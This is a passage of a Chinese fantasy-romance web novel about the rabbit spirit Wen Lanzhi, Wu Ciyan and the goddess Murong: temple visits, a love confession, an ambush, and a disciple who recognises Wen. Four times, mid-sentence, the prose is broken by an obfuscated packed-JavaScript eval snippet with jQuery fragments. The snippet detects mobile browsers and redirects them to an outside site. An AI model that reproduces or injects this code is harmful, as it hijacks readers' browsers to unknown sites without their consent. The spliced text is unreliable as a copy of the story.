其实这个“袋子”,是可以通过修炼炼出来的,相当于在身体里专门隔出来一个放其他法力的地方,是邬辞砚首创,还修炼成功了。问题就在于,他记得当时在锁妖塔的时候,已经把袋子撑破了,当时几乎是必死无疑。 又绕回丢失的执念上了。 邬辞砚捂住额头,想不起来,罢了。 温兰枝这一觉睡到了下午,三人准备在客栈门口分开。 邬辞砚道:“我还有点事,要不你带着温兰枝去吧。” 慕蓉看向温兰枝,笑眯眯道:“你愿意跟我走吗?” 温兰枝看着像是还没睡醒,愣愣地点头。 温兰枝说想吃馄饨,慕蓉就带着她在附近转了转,没找到卖馄饨的,倒是找到一间神庙。 熙熙湖不能完全算是凡人的地界,能在这里看到神庙,还真是稀奇。 慕蓉没什么兴趣,温兰枝非要进去看一下。 慕蓉笑道:“好吧,那进去看看。” 先进去是一个小庙,里面的神像金光灿灿,最上面写着秦锋将军庙。 漂亮是漂亮,但没有蒲团,还有一股说不上来的异味。慕蓉狐疑,想来是太久没人拜了吧。 慕蓉看温兰枝怔怔地盯着,没有反应,解释道:“一位保平安的神仙。” 温兰枝问道:“为什么是将军呢?” 慕蓉道:“天庭的大将军嘛,嗯……不过现在没什么人拜他了,据说不灵。” 慕蓉没说,不灵的主要原因是法力被封住了,宝剑也被折断了,这还是他自己求的。原本邬辞砚想让他体面地死去,当个忠贞烈士,但他自愿用全部法力和宝物换邬辞砚网开一面。 邬辞砚不想要他的法力,嫌脏,就给他封住了,折断了他的宝剑,一把火烧了他的藏宝阁。 现在他还在天上苟延残喘,不过天帝死了,天上的事没人管,他还是将军。 秦锋将军的神像旁边写着一个牌子,一般都是用来写神仙光荣事迹的。 慕蓉真的很少看见供奉秦锋的了,好奇,过去看了一眼。 慕蓉:“……”不看不知道,一看吓一跳。 牌子上没写秦锋将军的好事,倒是写尽了秦锋将军的糗事,把他如何被邬辞砚打败,如何在天界苟延残喘,写了个清楚明白,还大大地吹捧了一番邬辞砚。 温兰枝也凑过来了,她仔仔细细地看了半天,念叨了一句“好厉害”。 慕蓉:“……”不知道她夸的是谁,肯定不是秦锋将军。 慕蓉上前摸了一下神像,金像掉色了。 慕蓉:“……” 这种庙宇,怪不得供奉在妖界呢。 一个妖怪走进来,慕蓉看向他。 他“呸”一口吐进了神像面前的痰盂。 慕蓉才发现神像前供奉的是个痰盂。 “哇噻!”温兰枝走过去,也想效仿。 “诶诶诶诶!”慕蓉把她拽了回来,“不雅,太不雅了,走,出去看看。” 从秦锋将军“庙”里出来,绕到后面,还有一间殿。 这大概是天帝庙吧,慕蓉如是想着。 抬起头,竟然是慕蓉庙! 她思考了一下,自己好像没有什么特别严重的糗事,除了那次被贬下凡间,但她没做错什么,不觉得是糗事,至于到了凡间,变成凡人,哪还有人知道她是谁,就更不可能有什么糗事了。 在她思考的这段时间,温兰枝已经推门进去了。 她回过神来,温兰枝推门,没进去,又把门关上了。 慕蓉心里一阵紧张。 温兰枝回过头来,道:“慕蓉姐姐,我觉得这个神庙的人不是很喜欢你。” 慕蓉:“呃……”能看出来。 温兰枝道:“秦锋将军的神像是用金子做的,但是你的神像看着好像是用石头做的,我们走吧。” 慕蓉松了口气,其实秦锋将军的神像也不是用金子做的。 她主动走上前,推开门,道:“因为拜我的人发现,我的石像比金像更灵一些,越便宜的石头越灵。” 这里的氛围和秦锋将军庙的氛围完全不同,神像前是新鲜的瓜果,地上有两个干净的蒲团,旁边的桌子上还点着香。神像虽然不是金的,但庙宇的辉煌程度,看上去比金像贵多了。 慕蓉凑上去看了看旁边的牌子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16192246|179471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这次是正常的。 温兰枝问道:“为什么越便宜的石像越灵啊?” 慕蓉道:“以前倒是不会,但是我下凡走了一遭,发现最需要实现愿望的其实是穷人。重新位列仙班之后,我收回了金像上所有的法力,倒不是不想保佑富人,我是希望富人不要再把金钱浪费在做神像上了。尤其是一些……官员,那些官员的金子越多,百姓的铜钱就越少。” 她叹了口气,扶额道:“不过没有什么用。” 不造金身了,开始造庙宇了,该花的钱还是没少,该贪污的也还是贪污。 顶多就是穷人许愿的门槛变低了,但慕蓉能分散在神像上的法力有限,愿望时灵时不灵,能帮上的忙也有限。 温兰枝跪下来,磕了两个头,道:“保佑慕蓉姐姐的法力越来越多,嗯……特别特别多,用都用不完。” “呵——”慕蓉被逗笑了,摸了摸温兰枝的脑袋,“好呀,我一定好好修炼,实现你的愿望。” 温兰枝仰起头,问道:“诶,对了,但是邬辞砚上次领我去的那个慕蓉庙是金像呀?” 慕蓉嘴一咧,坏笑道:“他有钱呀,不宰白不宰。一颗指甲盖大点的龙眼珠都够造一百座金像了,他有一堆。” 两个人又走了一阵儿,总算是找到了一家卖馄饨的。 不过味道不怎么样,慕蓉注意到温兰枝吃一口皱一下眉头。 慕蓉把温兰枝藏在袖子里,带回了天庭。 刚上天庭,就发现神仙里三层外三层地围了好大一个圈子,甚至原本不住在天庭的神仙也来围观,吵吵嚷嚷的,没一个有好脸色。 慕蓉看到从里圈挤出来的白旭,忙拦住,上前问道:“白旭上神,出什么事了。” 白旭上神扯了扯嘴角,笑不出来,“慕蓉上神竟然不知道?” 慕蓉道:“我刚回天庭,就是再快的消息也传不到我这吧。” 白旭上神道:“您自己去看看吧。” 慕蓉上前,硬挤进去,差点惊呼出声。 是龙头,她侧过头,旁边还有被切成许多块的龙身。 估计是整个的龙不好搬。 谁的手笔?不用问了。 众神议论纷纷: “他不会是要……报复吧……” “他又没有证据。” “这话说的,他像是看证据讲道理的人吗?” “应该不会吧,他不是只说了请大家吃龙肉……” “呵,那玉林上神拿回宫吃?” 慕蓉从包围圈里退出来,正要回宫,突然又被人拦住。 “珺褆上神何事?”慕蓉笑问道。 珺褆四处看了看,确定没人注意他,从袖子里拿出一沓票子塞到慕蓉手上,“慕蓉上神,邬公子把龙牙、龙角和龙爪都剃干净了,您看方不方便牵个线,我想从邬公子那买一颗龙牙。” 慕蓉看着他,半晌不知道如何回复。 珺褆忙补了一句,“慕蓉上神放心,这次的事情我绝对没有参与!” 得,这下都不用调查了。 慕蓉道:“那……下次见面我帮你问问?” 29. 29 慕蓉把买龙牙的事情如实告诉了邬辞砚,邬辞砚没收钱,给了两颗。 慕蓉知道他们私底下肯定会有交易,但此事天庭理亏,她也不好多问。 邬辞砚到天庭接走了温兰枝。 回去的路上,邬辞砚从葫芦里倒出来一枚药,递给温兰枝。 “嗯?”温兰枝接过,放到嘴里,嚼啊嚼啊嚼。 邬辞砚一愣,好笑道:“你都不知道是什么也吃啊。” 温兰枝道:“是什么?” 邬辞砚道:“我问珺褆上神要的,仙丹,对神识……对脑子有好处,以后每天都有。” “好呀好呀!”温兰枝尝着还怪好吃的,有草药的味道。 邬辞砚一直觉得很奇怪,为什么会有人不知道自己失忆了,醒来的时候就不知道自己的名字、身份,没有认识的亲人、朋友,又不是刚生出来的小婴儿没有记忆,都长这么大了,总不会觉得自己是石头缝里蹦出来的吧。 他问道:“你记得你父母吗?” 温兰枝一怔,脸上的神色突然就不好了,“记得啊。” “记得?”邬辞砚惊愕。 “对啊。”温兰枝道,“我父亲不记得了,我母亲大部分也不记得了,我记得……” 她突然捂住头,蹲在地上。 邬辞砚直觉不好,刚才不应该问这话。 有一些记忆,是刻在心上的,侵入百骸,浸入肺腑,每次提起,都是一阵刺痛,浑身上下都免不了跟着发痛。即便所有的记忆都剔除干净了,这里的也剃不干净。 她带着哭腔,“九岁的时候,我母亲和我被道人封住了法力,变成了普通的兔子,无法化为人形。有一次,我母亲上街去给我找吃的,很久都没有回来,等我找到她的时候……” 她没说完,邬辞砚已经明白了,一只没有化成人形的兔子跑到街上,被人抓住,无非就是烤了煮了。对人来说,这没什么。但对温兰枝来说,架在火上的,是她的同类,是她的母亲。 夜夜梦魇缠身,若不剜心裂胆,又怎么能把记忆刻在心上。 “我记得她曾经,会叫我温兰枝……”温兰枝哽咽难言,“我记性不好,很多事都记不得了,但我记得她。” 邬辞砚握住她的手。 邬辞砚问她:“那天在熙熙湖上,你为什么冲出去救人?” 温兰枝把头埋起来,邬辞砚蹲在她旁边,不依不饶,她不给出一个合理的答案,他就一直陪她在这里蹲着。 一刻钟后,温兰枝抬起头来,她已经快哭不下去了,脚也蹲麻了,邬辞砚直接坐在了地上,等着她。 温兰枝道:“我想帮慕蓉。” 邬辞砚道:“你有多少把握?” 温兰枝道:“没想过。” 邬辞砚道:“那如果你死了怎么办?” 温兰枝被噎住,瞬间没了底气,“死了……是为了慕蓉姐姐死,我可以。” 邬辞砚蹙眉,眼底的怒意泛上来,他有些控制不住情绪,声音不自觉地变大:“那你为什么还要跟着我?既然你可以随时为了任何人去死,那为什么不现在就去死呢!为什么要让我习惯有你,又让我失去你!你为什么要为了慕蓉死!为什么不能为了我活下来!难道在你心里,我没有慕蓉重要吗?” 温兰枝被这一连串的话打懵了。 她不知道邬辞砚在生气什么,但她能看出来邬辞砚很生气,“对、对不起。” “我不要你道歉!”邬辞砚站起身,气得整张脸都红了。 他绕着温兰枝转了两圈,平复了一下心情,坐下来,“如果我死了,你会难过吗?” “当然会!”温兰枝毫不犹豫道。 邬辞砚道:“那你死了,我不会难过吗?” 温兰枝弱弱道:“我不知道你会不会难过。” “我会!”邬辞砚大声吼道,“我看到你受伤了!沐浴的时候就看到了,你的胳膊、腿上都是伤,你不让我看到!你躲着我!我生气!我很生气!” “因为不疼的……”温兰枝辩解道。 邬辞砚道:“不疼为什么要躲我!不疼为什么要在我进去的时候赶紧把腿按到桶里!” “我、我……”温兰枝说不出话来,又把脸埋到膝盖上哭了起来。 她的眼泪好像一盆冰水,从邬辞砚头顶倾盆而下,正好浇到内焰,好不容易烧起来的火刺啦一声全军覆没,余下一点泛泛的火星子,温兰枝的哭声大了些,水再次浇下来,那点火星子也被彻底扼杀。 邬辞砚深吸一口气,坐下来,静静等着,等着她哭声小了一些,将手搭上她的胳膊,“你不是报恩吗?那不应该主要把重心放在我身上吗?” 温兰枝不知道说什么,没答话。 邬辞砚再次开口,这次的语气柔和了很多,“能不能,为了我活下去?不要为了任何人去死,只为了我活。” 半晌,温兰枝抬起头来。 她把这句话在心里念了又念,道:“什么意思?” 邬辞砚差点一口气没上来,晕地上。 他站起身,深吸一口气,再深吸一口气,拉住温兰枝的手,继续往前走。 “去哪里?”温兰枝问道。 邬辞砚道:“回皇城,上药。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16199838|179471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两个人走了一会儿,邬辞砚突然又转过身来。 温兰枝没注意,撞上了他的胸膛,“哎呦”一声,捂住额头。 邬辞砚赶忙上前,扒拉开她的手,看着她的额头。 温兰枝抬眸,看着他的眼睛。 她愣愣的,道:“邬辞砚,你是不是……喜欢我?” 此话一出,她的脑子突然变得开阔,很多事情都想起来了,她拉住邬辞砚的手,“那天,你跟时居说,心上人的朋友就是你的朋友!你让我和你一起在妖界庆典点火,你让那些妖怪们都叫我夫人!” 她越说越欢喜,欢快到跳脚,“你在熙熙湖说,要成亲回去跟你成,不要在外面跟别人成。你刚才又说希望我为了你活下去。邬辞砚,你喜欢我是不是?” “邬辞砚!你喜欢我!”温兰枝肯定道,“我是你的心上人!” “是。”邬辞砚勾起唇角,握住她的手,坚定道,“你是我的心上人。” 温兰枝扑到他怀里,被他紧紧抱住。 温兰枝小声道:“都不到一个月。” “是,都不到一个月。”邬辞砚道。 他也不知道为什么,明明认识的时间不长,但好像认识了很多年那样。他轻而易举记住了兔子的喜好,知道怎么哄她开心,知道怎么会惹她生气。 他拨了拨温兰枝额前的碎发,再一次问道:“我们之前是不是认识?” 温兰枝的两条腿夹在他腰间,蹭来蹭去,“认识啊,你救过我,你不记得了?” 突然,邬辞砚眼前闪过许多画面,都是温兰枝,她梳着不同的发型,穿着不同的衣服,也是这样扒在他身上,蹭着他。 邬辞砚学着画面里的自己,抱着她转圈。 怀中的温兰枝和记忆中的温兰枝重合,她们异口同声道:“一会儿晕了!” “我们认识!”邬辞砚道。 “嗯?”温兰枝把头从他怀里抬起来,“什么?你想起来了?” 邬辞砚抱着她又转了两个圈,把她抛起来,接住,欢呼道:“我们认识!我们认识!” 但不知道是怎么认识的。 到底和那个执念有什么关系。 不管了,以后再说吧。 反正他现在的执念是温兰枝。 邬辞砚抱着她回了皇城。 邬辞砚要抱着她往床上坐,被她一个大跳跳开了。 邬辞砚挑眉,好整以暇地看着她。 温兰枝道:“你刚才坐到地上了,不能坐床上,先去洗澡换衣服吧。” 邬辞砚翻了个白眼,“好吧好吧,你最爱干净。” 30. 30 温兰枝得到了邬辞砚的佩刀,之前抵在她脖子上的那把,很漂亮,上面的纹路很像兔子长长的耳朵,温兰枝很喜欢。 “你身上为什么有这么多兔子的东西呀?”温兰枝一边欣赏着佩刀一边问道。 “这是我之前逃亡的时候打的。我也不知道,可能是制作者的巧思吧,也有可能那会儿认识你,就是为你打的。”邬辞砚用手托着刀把,躺在她旁边,两个人的样子看着很滑稽。 不托着点不行啊,他怕温兰枝一个没拿稳,刀掉在脸上,毁容了。 温兰枝把刀收起来,放到枕边,转过头来,问道:“我那天在慕蓉姐姐宫里看到两只手掌大小的小兔子,你喜不喜欢呀?” 邬辞砚挑眉,笑道:“怎么?你还能变小?” “那当然是不可能啦。”温兰枝娇嗔地推了他一把,“你不想要小兔子吗?” 邬辞砚笑意更甚,摇摇头。 “为什么?”温兰枝质问道。 邬辞砚道:“你是兔子,我不是,咱俩生出来的,不一定是小兔子。万一是长毛的蛇呢?” 温兰枝:“……哪有那种东西啊。” 邬辞砚还沉浸在自己的思维里,道:“像毛毛虫。” 他又补充道:“或者长着鳞片的兔子……像壁虎。” 温兰枝一脚蹬过去,不想理他了。 “就算是不长毛的小蛇我也不喜欢。”邬辞砚把温兰枝扒拉过来,继续说道。 “为什么?”温兰枝不理解。 邬辞砚道:“刚生出来的小蛇像大点的虫子。万一再……” “啊呀我不想听!”温兰枝捂住耳朵,过了一会儿,她又把手放下来,问道,“万一有一天,我的毛掉光了,你会喜欢我吗?” 邬辞砚:“……万一我的鳞片掉光了,你还会喜欢我吗?” 温兰枝想象了一下那个画面,连连摇头。 邬辞砚道:“没事,我到时候给你弄一身假毛,还喜欢你。” 过了一会儿,邬辞砚又道:“我一直觉得,没毛的兔子,像老鼠。” 温兰枝猛踹他一脚,拿着佩刀,翻身下床。 “你去哪?”邬辞砚喊道。 温兰枝没好气儿道:“逛街!” 邬辞砚又躺回去了,说起来,他好像也没见过那群鹦鹉生出四个脚的鸟来。 温兰枝又回来了,从邬辞砚的钱袋子里倒出来一堆银两,装到自己荷包里。 温兰枝出去以后,邬辞砚突然想起来什么,山黑还在温兰枝荷包里呢。 过了一会儿,他又想着算了,花出去就花出去吧。正好他还没想好怎么处理山黑,让他先当几年的银子也好。 温兰枝很喜欢吃上次大娘给她的桃子,她打算再去买一点。 还有之前吃过的糕点也很好吃。 “夫人吃不吃馄饨啊?”正在盛馄饨的老板看到她,热情招呼道。 温兰枝又想起慕蓉给她买的那碗馄饨,连连摇头,“不了不了不了,我不爱吃馄饨的。” “哎呦可好吃了,怎么不爱吃呢。”老板笑眯眯地道。 温兰枝走到一个卖珠花的小摊子前,“这个多少钱呀。” 老板道:“夫人喜欢随便拿。” 温兰枝道:“那不行,你得告诉我多少钱,你要是不告诉我的话,我就不要了。” 老板用扇子捂住嘴,笑道:“不贵的,五钱一个。” 哦,还没有之前的烙饼贵。 温兰枝一次性买了两个,一个蝴蝶的,一个蜻蜓的。 两个虫子,她顿了一下,又想到邬辞砚说长毛的蛇像毛毛虫,于是又把两个虫子放回去了,“可以换吗?” “可以,这价格都一样。”老板道。 她挑了两朵花。 欢喜地走在街上,突然,头顶传来一声吼,她看过去,一个姑娘拿着剑砸下来,“我杀了你!” 温兰枝一个闪身,那姑娘劈了个空。 她浑身脏污,衣服破烂,双目猩红,看着像是几天几夜没睡觉,跋山涉水来到此地,在此埋伏多时。 她不给温兰枝问话的机会,提剑又要杀她。 温兰枝连忙拿刀格挡。 挡!挡!挡! 一把短刀竟然接住了三剑,温兰枝自己也觉得不可思议。她没学过剑,但好像本来就会一样,所有的招式动作都是下意识的反应。 “夫人还会使剑!好厉害!” “这招漂亮!” 温兰枝手忙脚乱地躲,周围人还在喝彩。 鹉老十和鹉十一不知从哪冒出来,一左一右钳制住了行凶的歹人。 温兰枝松了口气。 那姑娘口里还不依不饶,“放开我!我要杀了你!我要杀了你!” 她准备好几天了,什么都预料到了,连自己不得好死的结局都预料到了,唯一没预料到的是,温兰枝竟然会剑术,剑术高深不输自己。 她不服气,大喊大嚷:“我要杀了你!” 围观的路人这才反应过来,这是个疯子,都不自觉离远了些。 鹉老十道:“夫人,怎么处置她?” 温兰枝也不知道,她问到:“我不认识你,你为什么要杀我?” 那姑娘咬牙道:“你抢了我的芩青果!” “放屁!”人群中立马有人帮温兰枝说话,“我们都听说了,熙熙湖湖底镇压了一条黑龙,要不是我们公子、夫人,还有慕蓉上神,你以为你现在还有命活吗?” “可我拿到了芩青果!我已经拿到了!那是我的!”姑娘厉声反驳道,她转过头来,满目恨意地看着温兰枝,“是我拿到了,你抢了我的,你把芩青果还给我!” “我没有拿芩青果。”温兰枝道,“我扔掉了,邬辞砚说,那不是芩青果,那是黑龙心脏伪装的,我根本就……” “不可能!”她大声吼道,“我亲眼看到它在我手里发光,我已经碰到它了!如果不是因为你!我不会丢了芩青果!我已经等了很多年了!我不能再等了!” “等什么?”温兰枝问道。 “啊啊啊啊啊!”她突然暴起,从身体里爆发出一道金光,推翻了鹉老十和鹉十一,也推翻了围观群众和摊贩。 温兰枝被金光撞飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205480|179471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还以为要重重摔在地上了,却摔在一个怀抱里。 邬辞砚压制住了那股金光,没有让她继续扩散。 他拿出斩神,“在我的地盘发疯,是不想活了。” 他把温兰枝放到一边,用刀锋砍断了下一道金光。 温兰枝正要阻止,他却自己停手了。 邬辞砚用刀压制着她,防止她继续发疯,道:“你身体里的不是妖气,是神力。” 妖怪修的是妖气,想修神力必须有神仙的帮助,时居都当月华的干儿子了,也没修上神力。 他收起刀,找绳子将她捆起来,“鹉老十,把她关进妖界地牢。” “师祖!师祖!”人群中突然响起一个孩子的声音。 温兰枝好奇,转过头去,叫嚷着的小孩突然扑上来,扑到她怀里,差点把温兰枝也带倒。 温兰枝冲他嘿嘿笑着,“谁是你师祖,邬辞砚吗?” 小孩脸上洋溢着激动,他抓住温兰枝的胳膊,“师祖,你是我师祖!你刚才使的那几招和我师父教我的一模一样,我师父说,这是师祖交给他的兔子功,独门绝学!” 温兰枝一怔,指着自己,“我吗?” 小孩看着她的脸,使劲点头,“是的,肯定是你,师父说,他的师父是一个女妖,长得很好看,剑也耍得好,之前师父和师祖一起开茶摊,赚了钱就一起去喝酒。” 温兰枝冲他摆摆手,想拉着邬辞砚回宫,她道:“你认错人了,我不会耍剑的。” “你刚才耍得可好了,师祖,师祖!”小孩跟在她后面,一路絮絮叨叨,“师父说,有一次,你去山林里采草药,回来的时候突然说遇到了心上人,留下了很多银两,就跟心上人跑了。” “师祖,你的心上人就是邬公子啊!”小孩拉住她的胳膊,“师祖眼光真好。” 邬辞砚笑了一下,他倒是不像温兰枝那么抵触,对这件事情接受良好,他问道:“你师祖就跟着心上人跑了?没说点别的什么?” 小孩道:“师祖说,心上人救了她的命,她要跟着去报恩,要以身相许。” 温兰枝脸上飞起一抹红,虽然这个小孩没有在说她,但自己也克制不住地代入进去。 好耳熟的情节,邬辞砚又想起他和温兰枝初见的时候了。 邬辞砚问道:“你师父厉害吗?” 小孩道:“我师父很厉害的!可以徒手打死猛虎!” 他扯着温兰枝的袖子,“师祖,那个茶摊还在呢,我师父已经很多年没见过你了,他经常唠叨你,他说,要是能再见到你,让他死也甘愿。师祖,你跟我回去吧,你跟我回去见一面师父吧。” “我、我不认识你师父。”温兰枝小声道。 小孩道:“师祖你不记得师父了吗?” 温兰枝道:“我是不认识。” 小孩有些发懵,又道:“那、那师祖您有师父吗?会不会是我师祖把兔子功也教给了你啊?那你见过你师父吗?你可以带着你的师父去见我的师父吗?” 温兰枝连连摇头,道:“我不知道什么兔子功,我也没有师父,我也不知道你师父是谁。” 31. 31 “师祖,师父说原来咱们的茶摊就是一个很小的店,现在都变成茶楼了。” “每天有好多人来咱们楼里喝茶,师祖你看,这是我们赚的钱。以前你和师父的口袋里只有铜钱,现在师父和我的口袋里已经有银子啦!你看我的金镯子,也是师父让人给我打的。” “师祖说你最喜欢吃对面茶楼卖得糕团,每次赚了钱都要去对面买,现在咱们茶楼也卖了。” “师祖,你跟我回去见见师父吧,他可想你了。” 小孩一路跟着温兰枝到宫里,跟到了寝殿,一路絮絮叨叨,说着自己的茶楼。 温兰枝时不时应付两句,“你叫什么?”“你多大了?”“你怎么到这来了?” 小孩全都说了,他来自温城,城里的所有妖怪都姓温,他叫兰花,是师父给起的名字,刚100岁,师父马上要过360岁生辰了,他来皇城给师父买礼物。 100岁?温兰枝震惊,那就不是小孩了,这个大妖怪看着矮矮的,比温兰枝还矮一个头,又年轻,看着像十五六岁的少年。 他还说,如果能把师祖带回去,那就是给师父最好的礼物。 温兰枝没吭声,虽然她很愿意帮这个忙,但未经过别人的同意假扮别人这种事,不太好,被拆穿就尴尬了。 邬辞砚和慕蓉在聊齐岳封的事情。 慕蓉说天上之前确实有个神仙叫齐岳封,但是邬辞砚杀了天帝以后,他就自己跳下去当凡人了。 邬辞砚又把今天在街上的事情说了。慕蓉连连叹气,头疼,一波未平一波又起,天庭什么时候能消停一段时间,眼下这个会仙法的妖怪姑娘,又不知道和哪位上神颇有渊源了。 她道:“那我先带回去吧,查清楚了再说。” 邬辞砚回去的时候,那小孩还缠着温兰枝不放,温兰枝已经把头埋到枕头底下了,兰花还在喋喋不休。 兰花再次恳求,“师祖,你打算什么时候陪我回温城啊?” 温兰枝:“唔……”并不想回。 邬辞砚把兰花拉开,“你师祖马上要跟我成亲了,要回去,也得等成亲之后。” “成亲!”温兰枝从枕头底下钻出来,“真的吗?好呀!” “好呀!”兰花也欢呼道,“师祖成亲了,可以把心上人一起带回去见师父,我们可以一起经营茶楼。” 温兰枝挠挠头,她已经重复过无数次,自己不是他师祖,但这个小孩听不进去。 邬辞砚倒是认真考虑起来,片刻后,他道:“我觉得行,我喜欢喝茶。” 温兰枝有些纳闷,歪歪头。须臾,她想明白了,邬辞砚本来就想一出是一出,他喜欢这个乱认亲戚的小孩,也挺正常。 而且这个小孩不是长毛的蛇也不是长了鳞片的兔子,既不像毛毛虫也不像壁虎,很符合邬辞砚的要求。 她又躺倒在床上,兰花又凑过来,继续絮叨。 慕蓉在门口看半天了,那一家三口里有两口人都没注意到她来了。 邬辞砚又出来了。 慕蓉问道:“怎么回事?” 邬辞砚道:“那个小孩认识她,说兰兰是他祖师奶,我想着,应该是和她的记忆有关。” “唉。”慕蓉又叹一口气,她今天到这里叹了数不清的气,好像皇城的空气污染了她的肺,“记忆丢了,很难找回来了。你不如让那个小孩抓紧回去。” 邬辞砚郑重地摇头,“温兰枝不记得了,也不在乎,我在乎。就算她什么都想不起来了,但是她活过,这个世界上有她生活过的痕迹,我想去找找。” 慕蓉看着他,“去哪找?” 邬辞砚道:“去那个小孩说的茶楼,去见她的徒弟,去学学她首创的剑法,去尝尝她泡的茶,爱吃的点心,过一过她从前的生活。” 他顿了顿,像是为了表现自己的决心,补充道:“成亲以后就去。” 慕蓉点头,道:“行,你开心就行,我回去了。” “哦对了。”慕蓉顿住脚步,“你打算什么时候成亲呢?” 邬辞砚道:“还差一件聘礼。” 慕蓉问道:“什么?” 邬辞砚道:“我听说天帝死后,他常用的那把剑被供在嶙珀仙山了。” 慕蓉听完后反应了好一会儿,“你怎么知道。” 须臾,她又自己反应过来了,“哦,你在天庭的内鬼不止我一个。但我要跟你说明白啊,天帝虽然跟你有仇,但他对天界也算是尽职尽责,你要是拿走了那把剑,和天庭的仇就算是真的解不开了。” 邬辞砚道:“在熙熙湖这件事之前,我没打过那把剑的主意,但是现在,反正他们也不会放过我了,我就随心吧。” 慕蓉没接话,接不上,虽然她和邬辞砚是朋友,但天界毕竟是她的家,她的父母姐妹兄弟都是神仙,当年她被贬下凡间而不是上断头台,也是父母求情、天帝网开一面的结果,她不想看两边起争执。 她还是劝了一句,“如果他们又想办法对付你呢?低调点没坏处。” 邬辞砚言辞坚定,道:“那我就杀光所有神仙。” 慕蓉道:“那我呢?” “你当然……” “算了。”慕蓉截断他的话头,“你杀了我的族人,只留我一个,我也没什么好高兴的。” “那如果你的族人要杀我呢?”邬辞砚问道,“哦,是不是可以把如果去掉。” 两个人相对无言。 邬辞砚捂脸,叹了口气,道:“抱歉,我不该让你难做,我再想想吧。” “不。”慕蓉道,“是我不该帮着天庭对付你。你们的事情你们自己看着办吧,我这段时间会搬到我父母那边去住,以后天庭的事情,我不管了,我也不会再给你通风报信。反正你眼线那么多,也不差我一个。以后,无论两败俱伤还是什么,我都不会再掺和了。你去取剑吧。” 邬辞砚想叫住她,喊了一声“慕蓉”,慕蓉没应,已经走远了。 温兰枝听到邬辞砚的喊声,连忙出来,“慕蓉姐姐来了吗?” “慕蓉姐姐?”兰花也探过头来,“是慕蓉上神吗?听说慕蓉上神每次来皇城都会下花瓣雨。” 邬辞砚揉了揉太阳穴,道:“嗯,刚来,又走了。” 温兰枝问道:“这次为什么没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209594|179471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下花瓣雨呀?” 邬辞砚道:“她今天是偷偷出来的,不想让别人知道。” 温兰枝转过头,小声对兰花说道:“要保密。” 兰花也点头,“嗯嗯!” 他搂住温兰枝的肩膀,道:“你不是会耍剑吗?我记得柳湖下面镇压了一把剑,让黑龙看守,现在黑龙不在了,剑不知道还在不在,我到时候给你取来,当成亲礼物好不好?” “好呀好呀好呀!”温兰枝兴奋道,她跳了两下,道:“那我也要给你准备成亲礼物。” “那我也要给师祖和师……”兰花想了半天没想到要怎么称呼邬辞砚,“给师祖和师祖的心上人准备成亲礼物。” 邬辞砚和温兰枝要成亲的消息很快从宫里传出去了。宫外的绣工都兴奋了,纷纷来报到,都想给邬公子和温夫人做喜服。 给两位做喜服,除了可以成为自己店的宣传招牌以外,还可以大赚一笔。邬公子有钱,对他们这些妖怪也好,每次买东西或者定制东西,都会多给一些钱。 像喜服这样重要的东西,说不定能收到比原定价格高一半的感谢钱呢! 运气好的话,说不定还能喝到喜酒。 邬辞砚去柳湖了,就把挑绣娘做喜服这样重要的事情交给温兰枝了。 兰花拉着温兰枝的手,道:“师祖,要是重新做喜服的话,要什么时候才能成亲呀?不会要一年吧?师父等得黄花菜都凉了,他还以为我跟你一起跑了呢。” “嗯……”温兰枝虽然不是很想回去,但既然已经答应了,她也不想耽误太久,“其实我和邬辞砚还没定下来日子呢。不过……呃……要不我多选几个绣工,让她们一起做?争取下个月完工?” “下个月啊——”兰花还是有点着急。 “那半个月?”温兰枝好言好语商量道,她不想把这次成亲宴办得太仓促,这辈子可能才一次,就算有第二次,也不会和第一次的感觉一样了,“我这里有飞书,你可以先跟你师父说一下嘛。” 兰花接过温兰枝递来的飞书,露出一排白亮的牙齿,“谢谢师祖。” 温兰枝心道一句:“好白的牙。” 上一次见到这么整齐漂亮的牙齿还是在马嘴里。 邬辞砚的牙齿也挺整齐的,但他有虎牙,看着没有兰花平整。 温兰枝转过头来,继续挑选绣工。 